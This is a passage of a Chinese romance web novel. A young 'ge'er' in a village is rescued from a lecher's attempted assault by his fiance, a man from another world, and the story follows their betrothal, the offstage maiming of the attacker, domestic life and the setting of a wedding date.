柳时雨捂着钝痛的胸口,将气喘匀了:“咳咳我没事小爹,你莫操心。” 柳家小爹沉默了几息,突然迟疑着问:“今日,怎没听见那小伙的动静了?” 柳时雨那双清亮的眸子在暗中闪了闪,抿紧嘴唇又无声松开。 “他,没回来。” 小爹似是没觉意外,大约是看出儿子的心事,父子两为伴多年也早已有了默契。 他只极轻地叹息,心照不宣谁都没再多说。 . 吃完朝食,柳时雨将昨日挑拣好的草药搬到通风的位置,又去挖了点野菜。 回来时柳禾的木匠父亲让他拖了点开裂的废木料和刨花过来,给他引火做柴烧。 东西卸在屋后头平日砍柴的地儿。 柳时雨拿着斧子慢吞吞地将那些过长或过宽的劈成大小合适的块。 这一整个上午他都有些魂不守舍,心神难安。 只想给自己多找点事做。 柳时雨盯着那堆刚弄好的木料发呆,思绪又开始发散,想到这些若是换凌锋来,定是两三下就能轻松搞定。 忽地,耳边传来脚踩树枝的动静。 柳时雨瞬间警惕,抬头。 柳老赖佝偻着背鬼鬼祟祟靠近的一幕撞进眼里。 见被发现了,他那张猥琐丑陋的脸朝露出个下流至极的笑,干脆急色扑了过来。 柳时雨吓得脸色煞白,好在紧要关头反应还算快,在要被触碰的刹那躲开了。 “哐当”声响,他闪躲时撞到了一旁的木墩,身体踉跄下马上扶稳,掌心却传来阵擦伤的刺痛。 柳时雨全然顾不得疼,惊慌失措下又立刻抓起木墩上的斧子对准还想继续扑他的柳老赖。 “你别过来!不然我就劈死你!” 他努力平复着害怕,瞪着眼前这个恶心的人,尽量让自己看起来气势更足更强硬不催。 屋后邻山,没有后路可逃,哥儿汉子力量悬殊,他只能稳住内心的恐慌,找机会往左右前方逃跑。 “雨哥儿,小美人莫这么凶嘛,叔听说你受了情伤,”柳老赖身上的破衣裳不知多久没洗,一股子臭味,满脸淫邪笑着搓手,“叔特意来安慰安慰你~让叔好好地疼疼你~保准叫你欲.仙欲.死。” 他一点没有被威胁到的样子,还试探着想去夺柳时雨手里的斧子。 “我警告你别乱来!我可是有未婚夫君的!我是定了亲的!”柳时雨气得眼眶发红,斧子往前用力挥了两下。 柳老赖后退躲开,却仍旧没有一点要放过他的意思。 “呸!”柳老赖也没了耐心,脸色变得阴恻恻眼神毒辣,“还定亲呢,我可都听说了,你那个奸夫昨儿个一早进了城就没回来!他都不要你了,还在这做白日梦呢!你tm一个破鞋!还有哪个好人家愿意娶你,也就老子不嫌弃你!识相点就乖乖从了老子,否则老子找机会弄死你!” 一个小哥儿名声毁了,所谓不清白了,便可以随意被欺辱?歹人便可以这么明目张胆青天白日对他不轨? 柳时雨胸腹剧烈起伏着,这些污言秽语叫他觉得作呕反胃,脸色气得一阵黑一阵白。 平日清冷的眸子生生逼出了泪花。 为什么他就这么倒霉,为什么要让他遇到这么恶心的事。 从小到大,为什么老天爷总有那么多疾苦和磨难安排给他。 柳时雨越想心越觉得悲凉,恐惧的眼神逐渐狠厉,翻涌着鱼死网破的暗潮。 就在这时,一阵敲锣打鼓喜气洋洋的喧响由远到近从屋前头传来。 其中还隐约夹杂着人声吆喝。 柳时雨那股蛮劲骤然剥离,神色有些茫然。 直到一个熟悉的嗓音唤他。 “时雨,柳时雨?” 他脑子嗡一下,眼底泪涌猛地喘气,将手里斧子狠狠砸向同样转移了注意力的柳老赖,随即不管不顾朝着前屋冲。 在看到凌锋的刹那,柳时雨的心像是总算找到了主心骨,腿软着奔了过去。 凌锋身后跟着一个吹打班子,数箱缠着红绸的聘礼摆在坪里,还有几个负责扛大物件的脚夫落在后面,正往这送。 族长媒人,以及一众来看热闹的乡亲七嘴八舌把他们家门口围得水泄不通。 正疑惑人怎么不在的凌锋还没反应怎么回事,一个清瘦温软人儿便直愣愣扑进了他的怀里。 他花了0.1秒识别出是谁,0.2秒时手臂本能回抱,揽住了人的腰背。 媒人:“哎哟,瞧瞧这小两口,这么迫不及待就抱在一块儿。” “到底是新婚燕尔,才一日未见...” “看给咱们雨哥儿都高兴成什么样儿了。” 围观群众你一句我一嘴。 凌锋原本舒展的眉头渐蹙,只有他知道怀里的小哥儿分明是在发抖,在害怕,身子也像是被抽了骨似得倚在他胸膛,软得不像话。 男人似是察觉到什么,凌厉的黑眸猛地扎向墙角那个鬼祟的人影。 一双浑浊的眼跟他对视,瞬间露出惊恐,缩了回去。 凌锋眯了眯眼,收回视线。 思忖下,抬起手臂生疏地碰了碰怀中人的后脑勺。 “没事,我在,我回来了。” 8.你别哭啊 耳边议论纷扰。 柳时雨紧闭双眼,脸蛋深埋在男人滚烫结实的胸膛,惊魂未定地攥着他的粗布麻衣。 闻着他身上这股冷冽干爽的味道,心中五味杂陈,就连自己的心跳声仿佛都放大了数倍。 “天呐快看!连聘雁都是活的!你看他抬来的那些,族长他们家姑娘定亲那会,都没这么大排场吧?” “这外来汉哪来的银子?” “起先我看他进了山,定是猎到好东西了。” “没想到他还真回来了,雨哥儿也算是熬出头了,走了这狗屎运...” 柳禾不悦反驳:“雨哥儿救了他的命,这叫好人有好报,给自己捡了个好夫君回来!” 刘桂花佯装不屑,酸的要命:“还不是个来路不明的,这般铺张浪费,怕是手头那些银子全花光了吧!哼,败家的主儿...” 凌锋听着这些乱七八糟的话头大,他也是去找人打听了一番,他们这世界彩礼娶亲的规格,怎么样算好,怎么样才叫妥帖。 他不知这村里的人讲究到哪个地步,都是嫁人,哥儿女孩应该都一样,表面功夫怎么都得做足,体体面面风风光光。 他清楚他这小恩人在这村里的处境,一小孩遭受这么多恶念非议,以前肯定也没少受欺负,就是想让他扬眉吐气一次,往后那些人再想嘲讽贬低,也得先掂量掂量。 现下怀中人似是冷静了,没再抖也没再腿软,但还是没撒手。 这样搂搂抱抱耗着,周围又一群起哄的,凌锋开始觉得有点别扭。 他很肯定自己的性取向,他不是个gay,怀里这人再漂亮纤细终究也是个带把的。 此情此景的氛围,这么多双眼睛看着,弄得好像他们真要成了夫妻一般。 “好点了吗?”凌锋试探着低头,沉声说:“先办正事,都在等我们。” 柳时雨感觉自己耳廓像是被烫了一下,有些酥痒。 他顺着男人的动作退出他的怀抱,目光扫了下四周还没太恍过神。 古时候都讲究父母之命媒妁之言,就算这是个架空的世界也一样。 凌锋让人把东西都抬进了柳家小爹的屋,领着媒人和族长一起把该走的流程都走一遍。 什么交换庚帖,写婚书盖手印等。 一片热闹欢腾中,他注意到柳时雨的状态还是有点不对,他不在的这一天肯定发生了些什么。 等把事情加速搞定,凌锋叫坐在床头满脸欢喜的柳家小爹帮着继续接待还没走的族长和乡亲,陪着说会话就行,他们小辈意思意思就差不多。 然后趁所有人聊得正欢的时候,一把握住小哥儿的细腕,将人拉到了自己屋里,关上门。 喧嚣掩去大半,清净不少。 “嘶...”柳时雨掌心的擦伤被男人的动作牵扯,本能抽了口气。 这是之前惊慌失措躲柳老赖时弄伤的。 现在疼这一下,周围总算没别人,他才像是彻底缓过来,没了刚才那副任人摆布的样子。 “你怎么了?”凌锋立马松手,稍稍俯身问到。 小哥儿脸蛋微垂,长睫将那双漂亮的眸子遮盖,淡粉的唇轻抿,瞧不出此刻是何情绪。 听着男人关切自己的温柔语气,积压的所有委屈和后怕一股脑涌了出来,怎么都压不回去。 凌锋静候着,又勾背凑近了点想去分辨人的表情。 忽地,那鸦羽般卷翘的睫毛颤抖几下,两行清泪从眼眶溢出,滑到白皙尖瘦的下巴滴落。 看着这副美人无声垂泪的画面,凌锋脑子停机了一秒。 我c! “你哭什么,你别,你先别哭,”从容的他瞬间慌了,抬起两只手碰也不是,不碰也不是,仓促下只补救似的伸出手掌接住那接二连三的泪珠子,“谁欺负你了?难道是因为我?对不起对不起,你这,到底怎么了?” 凌锋笨嘴拙舌,他最怕人在他面前掉眼泪。 上辈子身边就一帮大老爷们死到临头也没哭过,他实在是不知道该怎么安抚怎么哄。 “你昨日没回,他们都传...”柳时雨唇瓣湿润翕张,哭过的嗓子黏软沾点鼻音。 还是没脸将后面那句不要他跑了的话说出口。 凌锋头脑敏锐,稍微转转就知道小哥儿表达的意思,再结合一些细枝末节。 他目光柔下来,无奈地看着眼前人:“他们觉得我不会回来了,你信了,也这么以为?” 柳时雨吸了下鼻,轻咬嘴唇没吱声,算是默认。 “我回来那会,是不是正好有人在找你麻烦?”凌锋语气认真了点,猜测:“跟那晚想害你的是同一个?” 柳时雨没想到男人随便就全猜中了,他有些惊讶抬起湿漉的眸子瞅了他一眼,闷闷点头:“嗯...” 凌锋后槽牙紧了紧,眼底掀过一瞬阴戾,最终怕吓到人脾气没发作,只懊恼地暗叹口气。 “这事怪我,对不起,没及时回来,也没提前和你说清楚。”他诚恳道歉。 知道他是个会多想的性子,却没顾及周全。 主要他也还没适应,这时代连个手机通讯仪都没有,早知道该让余斌那小子带句话的。 “我置办这些东西废了点时间,晚了牛车也没了,就在县里客栈对付了一晚。”男人继续解释:“你放心,我不是那种会出尔反尔,恩将仇报的人。” 小哥儿轻轻点头:“我信你。” 话都说开,气氛莫名变得有些诡迷起来。 凌锋看了眼人双颊的水痕,想起什么,从胸襟里掏出一块霜白色的帕子,小心伸过去欲给他擦擦。 柳时雨目光垂到眼前这绣着鸳鸯的手帕上。 这一看就是姑娘家小哥儿用的,绝对不是他的东西。 他微微蹙眉,狐疑的眼神望向男人。 “?”凌锋秒反应,赶紧解释:“哦,这是布庄掌柜看我东西买的多,送的新的。”他说完,见人眉头舒展,便指指脸,“你自己擦擦?” 替男孩抹眼泪这种事,还是有点怪。 柳时雨接过那手帕,垂脸,心里有点点失落。 凌锋也在这时候注意到人手上的擦伤,还好只破了点皮,于是又去拿点金疮药过来。 他在一旁看着小哥儿自己给自己上药,回想起今天发生的一切,隐隐有种不好的预感。 刚成年的小弟弟,被人欺负了,在可以依赖的人面前娇气点倒也正常。 只是... 凌锋掌心泪水的湿意在不断警醒他,这份依赖和亲近持续发酵,恐怕以后会到难以收场的地步。 毕竟在这个世界,他们其实算是‘异性’,孤男寡男纠缠不清,指不定对方就会产生点别样的情意。 现在成亲是板上钉钉,对于柳时雨来说就算是和离也比被说成私相授受苟且来的要好。 他得找个机会在成亲之前跟他再说清楚。 他只能做到把他当成救命恩人,和弟弟对待。 不然等真到无法收拾的那一天,就来不及了。 柳时雨感受到男人的视线,抬头对上那双深邃的黑眸,对方像是避嫌似得,别开了眼。 柳时雨心间一怔,敏感意会。 丝丝缕缕的不安又一点点钻出来。 他知他如今做到这份上不过是为了他的名声,拉他出泥潭。 他看得出来,他应当是不喜欢小哥儿的。 因为别的男子,看自己的眼神总是会带些色相,再不济也会藏着几分窥探的意味,而他却完全没用。 最初发生那事的时候,他跟他解释自己也是逼不得已。 但其实,救他时见他的第一眼就动摇了一点私心。 他从未见过这样英俊出众的男子。 那日天生异象,空闻雷声巨响闪电乍现,却没有一滴雨。 然后他便在着急归家的途中碰见了穿着奇装异服,一身伤,好似凭空出现的他。 现下他突然觉得,就像是老天送给他的一份礼物。 别人嫌他是个什么都没有的外来户,他却知道他有一身的本事,厉害着。 他无父无母,同他成亲没有长辈婆母磋磨,对于寻常的姑娘小哥儿来说,简直是世间一大幸事。 “你之前同我说,你是逃荒过来的,家里没人了,我救你那日是在山上遇见了劫匪?”柳时雨迟疑着问。 凌锋回过神,话题转得突然,他不太记得自己有没有说过,好像昏昏醒醒那会是有话赶话胡诌。 “嗯。”他敷衍着应。 柳时雨默然,心里根本不信,那会什么都没多想,也没发生后面的事,不过是救个人。 现在回看,他这人高马大一身的腱子肉,哪里像是挨过饿逃过荒的。 唬他也不编个像样的。 不过,无论如何,他想要的也只是他能心甘情愿留下... “你我定了亲,”柳时雨斟酌着,红着耳尖一本正经道:“等到时拜完堂,你便可以叫族长帮你在村中落户,能分间屋子,虽然可能会比较破旧,但还是很有好处的。” 凌锋倒是没听出这话里话外的小小利诱,提到屋子,只想到了怎么赚钱换新房住得舒服点,毕竟他们现在连窗户都是漏风的,冬不暖夏不凉。 而且小哥儿说的也没错,他既然来到了这个世界,能有个户籍,总比当流民黑户的好。 柳时雨不知男人在思索什么,他没敢看他。 他总觉得他那双深邃的黑眸里掩藏着非常人能有的锐利和锋芒,只要同他多对视几秒就会被洞穿心思。 他才不想让他看出来,他对他有所图... . 待凑热闹的人都走了,他们才开始对着礼单清点凌锋带回来的聘礼。 红布包着聘银五两,那些箱子里布帛数匹,还有两套成衣,素银头冠,猪肉半扇活鸡一对,米酒米粮喜果俱全。 柳时雨感觉自己有些眼花缭乱,眼眶发热,他从未见过这么多好东西,更别说拥有,曾经梦都未曾梦过。 除了这些,凌锋还特意找人打了个单人用的浴盆。 “你在那草棚洗澡不方便,有了这东西,往后你就可以倒水在自己屋里洗,不冷还不用担心被人偷看。” 凌锋抱着胳膊倚在墙边,身心放松地看着小哥儿忙前忙后地收拾。虽然对方脸色看不太出,但他能感觉出来他很开心,还有点感动,眼尾勾着点惹人怜的粉色。 柳时雨摸着那柏木浴盆,小心翼翼地,爱不释手。 他自小便爱洁净,就算冬日没柴烧热水,就算是牙齿冷得直打架,也要强忍着寒意洗干净澡身上心间才觉舒适。 现在,他不必再受冻了。 柳时雨将澡盆收放到角落,又匆匆跑到离厨棚不远的一块空地搭起了鸡舍。 凌锋很有眼力见跟着去帮忙,他来负责体力活,让柳时雨递递东西和工具,不然以这家伙的力气和速度,估计得鼓捣到天黑。 柳时雨解开那一公一母两只鸡的脚绳,将他们连同在笼里的活雁一块关进了围栏里。 他洗个手又回到屋中归置其他物件。 吃食放到该放的地方,布料衣裳便收进箱里。 “你往后别直接买成衣,这样不划算,”小哥儿轻抚着那细布制成的青色衣衫,小声道:“买布匹自己做更剩银子。” “哦?”凌锋挑了下眉,促狭道:“你还会自己做衣裳?” 男人明显是在打趣他,柳时雨有点没好气,但还是只瞅了他一眼。 “自然,制衣制鞋这些女红活,女子和小哥儿都得会,不然嫁了人可是会被夫家嫌弃的...”他语气淡淡,说完顿了下,眸子微微闪烁,“我明日为你量下身寸,就用这些布给你制两件新衣裳,你都没个换洗的...” 总光着膀子烤干再穿,也不是办法。 “这是给你的聘礼,给我做衣服算什么。”凌锋随口道。 “成了亲便是一个家,分什么你我,给自己夫君做身衣裳再正常不过。”小哥儿这话是脱口而出,以为会被拒绝而急了。 话音落下,双方突然都安静了,他看到凌锋的眼神和神色不对,才意识到自己方才的称呼,和说的话有多逾距暧昧。 “我,”他脸颊一热,磕磕巴巴找补,“寻常人家,一般都是这样的。” 凌锋清了清嗓子,怕尴尬,站直斜靠的身体:“那个,天色也不早了,我去烧饭,你可以试试这衣服合不合身。” 柳时雨知道男人这是不自在故意找由头躲开,他垂眸闷嗯声:“晚些洗完澡再试,你去吧。” 中午忙了一通提亲的事,只凑合啃了点野菜饼。 晚上胃里空得慌可得吃点有油水的。 凌锋把之前处理好的那只新鲜竹鼠烤了,又砍了一半剩下的兔肉,给柳时雨做个好消化的兔肉羹。 竹鼠烤得焦香滋滋冒油,撒上他从县里带回来的香料,那味道又上了一个层次,烧烤的味道香得人直迷糊,就是可惜缺少辣椒,只能用花椒凑合。 许是提着的心放下了,亦或是耗了些体力,向来胃口不大好的柳时雨,今晚竟不用凌锋要求嘱咐,自己就乖乖多吃了几块肉。 等小哥儿吃饱,凌锋一通风卷残云,把剩的东西全装进了肚里。 厨棚该干的活干完,冲完澡关好鸡。 凌锋拿着个裹银子的布包递给了柳时雨。 “我这趟进城除了那张狐狸皮,还卖了张弓箭的图纸,一共赚了25两,置办完聘礼基本都花的差不多,这里面还剩最后的二两多,其中包括你偷偷放在窝头碗里的那一两,我没动,你都拿去收好。” 凌锋昨天早上起来吃柳时雨给他留的窝头,发现碗里居然还放了银子。 一两对于普通老百姓来说不是个小数目,更别说一个自己都身体不好,还要养家糊口给爹治病的小哥儿了。 这可能差不多是他的全部家当,不知道采了多少草药才换来的。 “为何要给我收着?”柳时雨抿了下唇问。 “这里面有一半本就是你的,至于我的那份,我这人花钱大手大脚,还容易丢三落四,给你放心点。”凌锋大大方回答。 他这么说一半是真心,一半是希望人收下。 柳时雨迟疑下才接过那布包,攥在手里,心里滋味时好时坏,乱得很。 他给他这一两,就是觉得没有哪个汉子出门身上不带钱的,怕他没卖掉货想干什么不方便。 可他竟当真一文都没动他给的,同他分得这样清楚。 其实置办的这些聘礼,太破费了,他高兴过后还很肉疼,现在听完更是,整整二十来两,他得省吃俭用攒多少年才能攒到,居然就这样一日花没了。 他知道他是一片好心,自然也识相,一句扫兴的话都没说。 . 后半夜,夜深人静。 整个柳家庄都熄了灯入了梦。 寒月凄淡,冷风空卷。 柳老赖踩着泥路从外村的赌坊的回来,喝的酒气熏天,脚步摇摇晃晃。 估计是翻盘赢了点银子,他看起来心情不错,还哼着淫词滥调。 他走到路尽头,拐进土坯矮墙的拐角,突然一道高大如同鬼魅般的黑影悄无声息出现在了他身后。 月光被遮了个严实,眼前发黑。 柳老赖停下脚步,缓缓抬头。 那双浑浊的眼像是见了厉鬼般猛地瞪大,没等他惊恐出声,麻袋便兜头罩落... 9.怎么干呕 月黑野寂,阴风呜啸。 断碑荒冢残棺破木隐于杂草,潮湿腐败的烂泥味混着股血腥和尿骚气飘在雾中。 柳老赖瘫在地上,浑目死沉气若游丝,他嘴里塞了块破布,暗红色将其浸透流了满下巴。 一只乌鸦扇动翅膀停落,叼走了他旁边刚割下的舌肉... . “咯咯咯咯哒咯咯哒——” 吃完朝食不久,关在鸡舍的母鸡发出了一连串的叫声。 柳时雨紧张期待,胳膊伸进去左掏右掏。 倏地,他眸子微亮,手收回来掌心躺着一颗热乎的鸡蛋。 他扭头:“凌大哥,看。” 小哥儿第一反应就是同心上人分享。 凌锋正在坪中用余斌给他送来的材料造猎大型野兽的木笼和窖板,他单脚踩着定好型的粗木框架,手捏竹篾反复缠紧,最后一下小臂肌肉稍稍用力,扎得又牢固又结实。 “不错,是只懂感恩的好鸡,不枉你惦记。”他抬头,打趣完垂眸继续忙活,“蛋收篮里晚上给你做好吃的,去把手洗洗,沾上鸡屎了。” 自从家里多了两只鸡,这家伙稀罕得不行,没事就往鸡舍跑,一天看八百回。 跟小孩得了什么新鲜玩具似的,一会儿没听见动静,就担心是不是被人偷了去。 既然这么喜欢,鸡舍大空着也是浪费,不如多弄几只给他养着解闷。 凌锋心里计划,全然没注意到小哥儿听完他的话后那又窘又羞的神态。 柳时雨素来爱干净,许是方才掏的时候不小心,手背沾了丁点儿。 他微微抿唇,迅速跑去水缸处冲洗。 现在天不亮能听见自家公鸡打鸣,母鸡下蛋更是热闹,日子就好似有了盼头有了朝气,让这个过去冷清孤苦的家,多了不少活人味。 以前家里从未养过禽畜,鸡苗鸭苗贵,养鸡也要费粮食,他挖的那点野菜人都不够吃更别说养活物了。 柳时雨将鸡蛋小心放进篮子里,心间有种奇妙又欢喜的滋味。 定亲的活鸡到家很快就下蛋,其中寓意是极好的。 “听说了吗,前两日那柳老赖,不知得罪了谁,遭人割了舌头废了半边手脚,被扔在了村西口的乱坟堆...” “啥子!你听谁说的?” 厨棚临路,几个扛着锄头经过的村民忽大忽小地交谈。 柳时雨蹲在地上,隔着堵矮墙,将这话完完本本听进了耳朵里。 他唇角那浅淡的弧度僵滞,消失,眸子和神色严肃了不少。 “听族里管事儿的说的,当时就剩一口气,若不是有人凑巧路过发现,他怕是就交代在那了。” “我还听说,干这事儿的人,相当心狠手辣,手法骇人得很!柳老赖的手筋脚筋都是一刀挑没的,一点儿多的伤口都没有,这寻常人可是做不来。” “当真?那凶徒抓到没,可知是谁?天爷,近日还是莫晚上出去的好,可得当心些...” “哎呀,你怕啥,我看啊定是那柳老赖平日恶做得多了,四处与人结仇遭报应了,俺们又没干坏事,犯不着害怕。” “就是说,他可没少干那缺德事儿,不是调戏这家媳妇儿就是轻薄别家夫郎,一点人不当,常狗嘴里喷粪,如今哑巴了也是积德了!” “我估摸他定是又欠了赌债,借了印子钱不还,被雇了江湖杀手...” 村民们的说话声远去。 柳时雨还未从挑手脚筋和割舌的悚然里回神,后背发凉,此等酷虐的行径还是太超过他的承受程度。 他咕咚吞了口口水,目光寻求安全感似地落到不远处的男人身上。 心顿时就踏实了不少。 对方许是没听到那些人说的话,头都未抬,正认真打磨削锐的尖桩。 小哥儿盯着盯着突然又想到什么。 不会的,他收回视线,轻晃脑袋驱散心里的揣测。 像凌大哥这么温柔的一个人,就算是想替他报仇,也定不会这般残暴。 就算他真做了,那也都是为了他,无论如何自己都会站在他这边。 现在消化完那点害怕,柳时雨又后知后觉感觉有些解气,那恶人往后再也说不出话了,那张臭嘴里也再吐不出那些令人作呕的淫词亵语了! . “哈哈哈你男人本事可大着呢,脑瓜比我灵活!用不着我担待!”余斌端着酒碗笑得畅快,咕咚咕咚半碗下肚,“他做那陷阱刚才在外头我可都看了,花样比我多多了,可用不着我教。” 请未来夫君的友人来家中吃饭,柳时雨本是就着待客之道说些客气话,没成想对方这般豪迈外放,光是前头几个字就叫他有些不好意思了。 他啃着手中的饼礼貌浅笑,以此掩盖那些许腼腆。 凌锋上午做捕兽笼的时候,顺便弄了几块木板做了张简易的桌子,看着丑是丑点,能放稳东西就行。 主要是急着用,他请了余斌来家吃中午饭。 之前都是跟小哥儿在锅面前对付,总不能来了客也这样,先凑合着等过阵子再买张新的好的。 三人现在围坐在凌锋的屋里,桌上摆着炒好的五花肉和腊兔子,主食是纯面制成的葱油饼。 在寻常百姓家这规格堪比过年,足以见得他们二人对余斌这初次登门的看重和感谢。 “凌老弟,讲真,你小子当真是有两把刷子,”余斌夹一筷子五花肉就了口饼,吃得嘴流油,“我嘴上教你一遍,你不仅会了,还能自个儿改良!你还同我打埋伏,讲啥许久未出手,本事快忘光了,我看你这是在拿我逗闷子!” “哪里,多亏余兄弟讲解,我才想得起来。”凌锋客气和其碰碗。 这山里的路一草一木一鸟一兽,余斌确实比他了解,有他带着打头阵比他自己来摸索肯定要轻松快得多。 他就是想着,抓人的陷阱和补兽的应该差不了多少,方法可以 互相变通。 而且过去他们队伍在末日之前也有过荒野求生的经历,被别的势力追捕,困在原始森林里,也是靠就山吃山活了下来。 “你不是说改日要教我收拾皮子的手艺吗?我会的这些也同样教给你,你我兄弟,互不藏私。”凌锋大方说,给余斌夹一筷子菜,顺便又给小媳妇样坐在他身旁的柳时雨夹了两片肥五花肉,“别光吃饼。” 准是因为家里平时不来客人,这小孩有点不自在,收起对待外人时的那副冷淡和防备,倒显得拘谨起来了。 凌锋和余斌又闲聊了两句,话还没说超过二十个字,身边人突然发出声极小且隐忍的干呕。 “怎么了?”凌锋忙拉回注意力,低头蹙眉问。 柳时雨纤白的手捂在嘴巴上,眼眶微微发红,清亮的眸子染上了水光,分明是一副难受反胃的模样,却蹙着秀气的眉摇头,示意自己没事。 这副光景,任谁看到都只能想到四个字,楚楚可怜。 凌锋放下筷子给人顺了下背:“还想吐吗?好端端的怎么会这样,是吃坏了东西?”他回想下,“可你今天也没...” “这,”坐在对面的余斌突然大嗓门出声打断了凌锋,“弟夫郎这莫不是揣娃了吧!” 他这话说完,全场死寂。 凌锋眉心一跳,看着瞪大双眼的小哥儿,脑子被问号挤满。 “哎呀瞧我这嘴!”余斌喝了点,嘴太快,这才想起来他两只是定亲还没礼成,一脸的懊恼,“我这瞎说八道的!这,这样说不好...对不住对不住!” “没有,不是的。”柳时雨慌忙看向男人解释,脸色吓得一阵红一阵白,“定只是脾胃不便,我休息一会儿便好。” 婚前失贞,还珠胎暗结,若是凌大哥当真了那他们之间可就真完了。 凌锋有点无语,松了口气。 这余斌,真是什么话都敢往外说。 他看了看小哥儿泛白的唇色和虚弱的状态,决定道:“先不吃了,去看大夫。” 柳时雨一怔,赶紧回拒:“我会些医术,当真没事。” 况且还有客人在呢,怎能说走就走。 凌锋见人明显打算逞强不愿起来,懒得逼逼赖赖废那口舌,熟稔地抓住那细腕稍稍用力轻松把人拉起,再俯身一带,直接扛到肩上。 “你继续吃。”他冲喝得微醺的余斌丢下这么句就弯腰出屋。 “晓得晓得,正事要紧正事要紧。”余斌望着二人背影回。 这刻的柳时雨觉得自己的心仿佛要从嗓子眼儿里蹦出来,他伏在男人宽厚的肩头,表情完全呆住了,直到对方走出好几步远才反应过来,脸蛋顿时火辣辣地烧。 那股可能掉下去的陌生感觉,叫他不得不用胳膊环抱住对方粗实的脖颈。 “我自己能走,凌大哥你先将我放下来...唔,你这般我更想吐了。” 这要是被乡亲们撞见,那才真是丢死人了。 10.成亲日子 “这位小哥儿并无大碍,许是长久清苦惯了,腹中速来少油水,脾胃早已亏虚,近日骤然多食了些油腻荤腥,故而反胃恶心。唉,年纪轻轻身子骨就不争气,没那过好日子的福分...” 老郎中号完脉,嘴里絮叨,开始提笔书写方子,“我给你们开几副健脾胃的药,回去每日服用便可。吃食方面,先以薄粥蔬菜为主,缓些温养,少量添些肉汤,大鱼大荤待他胃气渐复再说。” 意思是他顿顿盯着人多吃点,还给人养出毛病来了? 感情问题出在他那夹的那一块子肥五花肉? 凌锋不动声色看了看小哥儿尖瘦的下巴,和那薄薄一片仿佛风一吹就要倒的身子骨。 他眸色暗了暗,有些发愁。 这小子那腰哪像个男人的腰,细得跟能单手掐折似的,浑身上下没见多涨几两肉, 之前还寻思多喂胖点好过冬,这下好了,肉都吃不得了,别说养身体了。 柳时雨坐在凳上,脊背清瘦端正,那股想呕的感觉缓和了许多。 他想同老郎中说方子不如就算了,他回去自己多注意,可又没敢真张嘴。 男人那股存在感极强的视线弄得他有些坐立难安。 是他没用,遭不住补。 现下喉咙也痒得想咳,在拼命忍着。 他不想被凌大哥当成个拖累,他这段时日确实麻烦他太多事了。 柳家庄唯一的大夫是教柳时雨识药的那位恩人,如今他年岁已高极少看诊,再加上怕他老人家担心,他们就没去叨扰,是找的余斌村里的郎中。 村中条件有限,要抓药还是得去镇上或县里的药铺。 凌锋接过那张药方便将小哥儿送回了家,随后拿着银子步伐迅速出了村。 趁着现在时候还早,刚过晌午,一个下午来回应当是来得及。 . 天色渐暗,尚未黑透。 凌锋扛着大包小包,大步流星走向那个在路边望着自己回家的小哥儿。 “怎地又买了这么多东西?你买棉被做什么?”柳时雨少许惊讶,但也有些习惯。 “难得进城一趟,反正也需要,顺便买了。”凌锋垂眸瞥了眼人伸过来要帮忙的手,只松了几包不重的药给他拿。 他这一路也是归心似箭,腿着进城坐牛车回来。 这个点刚好是乡亲们为生活奔波一天结束的时间,大伙沿途说说笑笑各自往家走,氛围平和又安稳。 叫他也不禁感慨,相比起末日的颠沛流离,在这个世界,他凌锋也是个有归所的人了。 “这是你的药,一会就煎今日先喝一副,另外几副是按你爹那药方新抓的,我看也快喝完了,就自作主张买了点,”凌锋说完往主屋走,“被子买了两床,给你和你小爹盖,现在天气越来越冷,你们被子太单薄容易再冻得病上加病。” 柳时雨抱着药跟在男人身后,看着他的背影眼眶一阵热,连鼻尖都染上淡淡的粉。 他嘴唇翕张,最终蹦出句极小声的谢谢。 只是聘礼他都准备了那么多了,剩的那点银子,又被用来给他和小爹买这买那,真的让他觉得很过意不去。 若是中午他憋住那一下就好了。 凌锋把被子放下,跟柳小爹简单交流了几句就出了主屋准备去做晚饭。 “其实,这些草药我也可以自己上山去采的...”柳时雨亦步亦趋跟上。 这小嗓音,凌锋一听就知道是又在心疼钱。 他顺手揉了把人脑袋:“银子本来就是用来花的,没了再赚便是。” 除了被子和药,凌锋还买了点蔬菜之类的东西。 他去的路上琢磨了,调养身体嘛,不习惯油腻荤腥脾胃撑不住。 那就先紧着瘦肉吃,一点点来,等以后吃的多了习惯了就好了。 当下就是要讲究个营养均衡,什么蛋白质膳食纤维碳水缺一不可。 凌锋一边想着一边动作麻利地往锅里添上水,倒上饭,炖煮白米粥。 饭是他中午偷偷煮的一点,这玩意贵,本想着晚上用小哥儿亲自‘接生’的那颗宝贝鸡蛋给他做个蛋炒饭,没想到他这么没口福,只好换个别的做法了。 一旁的柳时雨看着男人几番欲言又止,心思没放在吃上。 等锅盖上的时候,他像是准备好,下定决心,去屋里拿了张纸出来。 “凌大哥...”柳时雨轻声唤。 凌锋刚把鸡蛋打散放到锅架上蒸,转头不解地望向他。 “这是,”柳时雨抿了抿唇,清亮的眸子含着不易觉察的羞意,“这是你走后没多久族长送来的,是用我们八字选的几个适合成亲的日子,小爹说让我们挑一个,将婚事办了。” 凌锋黑眸微深看了眼纸,又对上小哥儿那藏着期待的目光,别人或许看不出来,但他最擅于洞察人的心思,有些话真不知道该不该这时候说出来。 几番犹豫后,他暗叹口气,终究没忍心。 他想到了那天,他垂着脸无声流眼泪的画面,任谁看了都会不忍,有种谁要是再把他惹哭了,那就真不是东西的感觉。 “挑个最早的吧,尽快办了,也了却一桩事。”凌锋回到。 他说要最早的,要尽快。 静候答案的柳时雨原本还有紧张,现下唇角扬起一个轻微的弧度,心里泛起丝丝甜:“嗯,那就,下月初六?”他指着其中一个日子问。 凌锋爽快答应,趁着天还没黑全加速做饭。 柳时雨看了看纸 上他们定好的日子,莹润的指腹又最后抚了抚才小心收好。 他拿起瓢往盆里倒上点水,开始蹲下给凌锋打下手,替他清洗挑出来的青菜。 凌锋搅了搅粥防止粘锅,一回头就看见小哥儿洗菜冻得通红的手,风一吹那清瘦的身子还肉眼可见哆嗦了下。 他稍顿,干脆过去握住人胳膊拉起来:“以后都我来做饭,洗菜这些也我来。” 柳时雨有些怔愣,心里有些无措,过去做饭这种事都是他来的呀,虽然近两日凌大哥都没怎么让他干活... “为何?是我做的不合口味吗?”他闷声问。 “没有,我厨艺不错,做起来也轻松,你歇着就行,”凌锋动作麻利把菜从冷水里洗出来,“你先把身体养好,现下冬日天气冷,这类总要沾凉水的活你就都别碰了。” 柳时雨轻轻松了口气,胡思乱想的那些酸涩在心中散开,化成了一股子暖意。 “好,听你的。”他淡淡到。 凌锋把那些青菜切碎混进了粥里,又把厨棚旁边那个他临时搭的小灶生上火,按柳时雨指导的把药煎上。 